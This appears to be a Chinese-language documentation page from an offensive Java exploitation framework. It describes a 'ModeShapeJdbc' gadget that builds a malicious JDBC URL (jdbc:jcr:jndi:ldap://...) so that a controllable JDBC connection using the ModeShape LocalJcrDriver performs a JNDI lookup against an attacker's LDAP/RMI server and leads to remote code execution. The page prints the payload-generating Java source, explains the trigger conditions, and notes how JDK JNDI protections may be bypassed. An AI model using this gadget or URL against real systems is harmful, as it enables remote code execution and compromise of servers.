Skip to content

Latest commit

 

History

History
56 lines (44 loc) · 3.65 KB

File metadata and controls

56 lines (44 loc) · 3.65 KB

ModeShape JDBC URL(ModeShapeJdbc)

  • 类别:common 别名:— 优先级:—
  • 作者:—
  • 依赖modeshape:org.modeshape.jdbc.LocalJcrDriver(ModeShape JDBC 驱动)

作用

构造一个 ModeShape 的恶意 JDBC URL(jdbc:jcr:jndi:<jndiUrl>)。当目标在 JDBC RCE 场景下用 LocalJcrDriver 连接该 URL 时,驱动会对 URL 中 jndi: 后的地址发起 JNDI 查询,从而把「JDBC 连接」转化为「JNDI 注入」,进一步指向攻击者的 LDAP/RMI 服务实现 RCE。

链接标签

  • 入口 tagsModeShapeJdbcUrlJdbcUrlChainsEND —— ModeShapeJdbcUrl 是 ModeShape 专属入口标签;JdbcUrlChains 表明它归属「构造恶意 JDBC URL」这一族;END 标记为链尾 sink。
  • 衔接 nextTags:无(END,链尾)。
  • excludes:无。

源码剖析

@Param(name="Jndi地址")
public String jndiUrl = "ldap://127.0.0.1:1389/x";
public String driverClassName = "org.modeshape.jdbc.LocalJcrDriver";

public String getObject() {
    return "jdbc:jcr:jndi:" + this.jndiUrl;
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    String jdbcUrl = this.getObject();
    context.put(ContextTag.DRIVER_CLASS_NAME_KEY, this.driverClassName);
    return jdbcUrl;
}

逐段解释:

  • getObject 直接拼接出 JDBC URL:前缀 jdbc:jcr:jndi: 是 ModeShape LocalJcrDriver 识别的协议头,jcr 指 Java Content Repository,jndi: 段告诉驱动通过 JNDI 查找仓库——驱动内部会对 jndiUrl 执行 JNDI lookup,这正是注入点。默认 jndiUrl 指向 ldap://127.0.0.1:1389/x
  • invoke 生成 URL 后,用 context.put(ContextTag.DRIVER_CLASS_NAME_KEY, driverClassName) 把驱动类名 org.modeshape.jdbc.LocalJcrDriver 写入上下文——供上游/框架在建立 JDBC 连接时选用正确驱动。随后返回 URL 字符串。
  • 本 gadget 是 ENDinvoke 不调用 chain.doCreate,无内层包装。

关键点:产物是一个 JDBC URL 字符串 + 上下文中的驱动类名。真正触发需要目标存在「JDBC URL 可控」的场景(如某处 DriverManager.getConnection(url))。一旦连接建立,LocalJcrDriver 解析 jndi: 触发 JNDI lookup → 远程 LDAP/RMI → 恶意对象加载 → RCE。

参数(@Param)

字段 名称 说明 默认 可选值
jndiUrl Jndi地址 JDBC URL 中 jndi: 段指向的 JNDI 地址(攻击者的 LDAP/RMI) ldap://127.0.0.1:1389/x 自由填写

driverClassName 为公开字段,固定 org.modeshape.jdbc.LocalJcrDriver,非 @Param,由 invoke 写入上下文。)

适用版本与原理要点

  • description:适用于 jdbc rce 场景,jdbc 利用可以转为 jndi 注入利用。核心是把 JDBC 连接原语当作 JNDI 注入触发器。
  • 需目标 classpath 存在 ModeShape JDBC 驱动(org.modeshape.jdbc.LocalJcrDriver)。
  • JNDI lookup 的实际可利用性受目标 JDK 的 JNDI 防护(如 com.sun.jndi.ldap.object.trustURLCodebase 默认 false、JDK 8u191+ 对 LDAP 远程 codebase 的限制)约束,通常需配合本地 factory 绕过或反序列化 gadget。

所属预设链

自由构件,未直接出现在 51 条预设链中。属 JdbcUrlChains 族的独立 sink,用于「JDBC URL 可控」注入点。

关联

  • 同族(JdbcUrlChains,构造恶意 JDBC URL 的其他 sink):H2JavaJdbc1MysqlJdbcPostgreSqlJdbc、各 Hsqldb*Jdbc / Derby*Jdbc 等(见同目录 jdbc)。
  • 下游概念承接:其 jndiUrl 指向的 LDAP/RMI 服务需配合 JNDI 注入利用组件(如 LdapAttributeLdapClassLoader)。